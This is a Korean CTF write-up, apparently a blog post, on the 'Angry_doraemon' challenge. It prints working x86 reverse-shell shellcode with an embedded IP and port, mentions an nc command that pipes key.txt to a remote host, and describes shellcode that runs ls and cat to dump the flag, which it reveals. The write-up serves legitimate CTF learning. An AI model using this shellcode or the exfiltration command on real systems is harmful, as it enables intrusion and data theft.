CTF/CTFagain.kr

Angry_doraemon

Sanguine 2014. 5. 20. 13:33

기존의 내가 작성한 exploit으로 시도하니 공격되지 않았다.

이유는 다음과 같다.


1.열린 포트가 문제포트 말곤 없다. - 바인드, 리버스쉘 둘다 작동안함.

2.recv의 버퍼를 너무 작게주어서, 이상한 값이 릭되었다.


*참고로 문제 푸는도중 여러 리버스쉘을 써봣지만, 스택으로 점프하는 놈도 있어서 잘되지 않았고, 메타스프로잇의 리버스쉘도 잘 되지 않았다. 

아래가 잘 동작한 리모트 쉘이다.

"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"

"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68"

"\xcb\xfa\x4d\xbb" #ip 

"\x68\x02\x00"

"\x22\xb8"        #port

"\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"

"\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"

"\x52\x53\x89\xe1\xb0\x0b\xcd\x80"



두개를 고치고 시도 해보았다.


일단 리모트쉘이 안되기 떄문에 nc [ip주소] [포트] < key.txt 이런식으로 exec명령어를 주어서 시도할랫지만 nc또한 포트번호를 할당받아야 되기 때문에, 이방법또한 먹히지 않았다.


그래서 일단 ssh로 접속해서 /tmp에 폴더를 만들고 권한을 777로 주고 

먼저 폴더에 뭐가 있는지 보기위해서 ls -al > /tmp/Sanguine/ls 를 쉘코드로 만들어서 실행시켯다.


실행시키니 다음과 같이 나온다

total 76

drwx------  4 angry_doraemon angry_doraemon 4096 Mar  4 06:43 .

drwxr-xr-x 16 root           root           4096 Mar  9 23:29 ..

--w-------  1 angry_doraemon angry_doraemon 1873 Mar  4 09:30 .bash_history

-rw-r--r--  1 angry_doraemon angry_doraemon  220 Mar  2 07:21 .bash_logout

-rw-r--r--  1 angry_doraemon angry_doraemon 3637 Mar  2 07:21 .bashrc

drwx------  2 angry_doraemon angry_doraemon 4096 Mar  4 06:43 .cache

-rw-r--r--  1 angry_doraemon angry_doraemon  675 Mar  2 07:21 .profile

drwx------  2 angry_doraemon angry_doraemon 4096 Mar  4 06:45 .ssh

-rw-------  1 angry_doraemon angry_doraemon  784 Mar  2 20:47 .viminfo

-rwsr-xr-x  1 angry_doraemon angry_doraemon 9768 Mar  1 00:53 angry_doraemon

-rw-r--r--  1 angry_doraemon angry_doraemon 1302 Feb 25 14:46 bread.txt

-rw-r--r--  1 angry_doraemon angry_doraemon 3506 Feb 25 14:45 doraemon.txt

-rw-r--r--  1 angry_doraemon angry_doraemon   13 Feb 25 14:46 fs.txt

-r--------  1 angry_doraemon angry_doraemon   18 Mar  2 07:25 key.txt

-rw-r--r--  1 angry_doraemon angry_doraemon 1982 Feb 25 14:46 mouse.txt

-rw-------  1 angry_doraemon angry_doraemon  468 Mar  4 06:07 nohup.out

-rw-r--r--  1 angry_doraemon angry_doraemon   84 Feb 25 14:46 ps.txt



key.txt가 있는것을 확인하고
다음에는 cat key.txt > /tmp/Sanguine/key 를 쉘코드로 만들어서 실행시켜 보았다.

guest@anch0vy:/tmp/Sanguine$ cat key
dANbi_and_anch0vy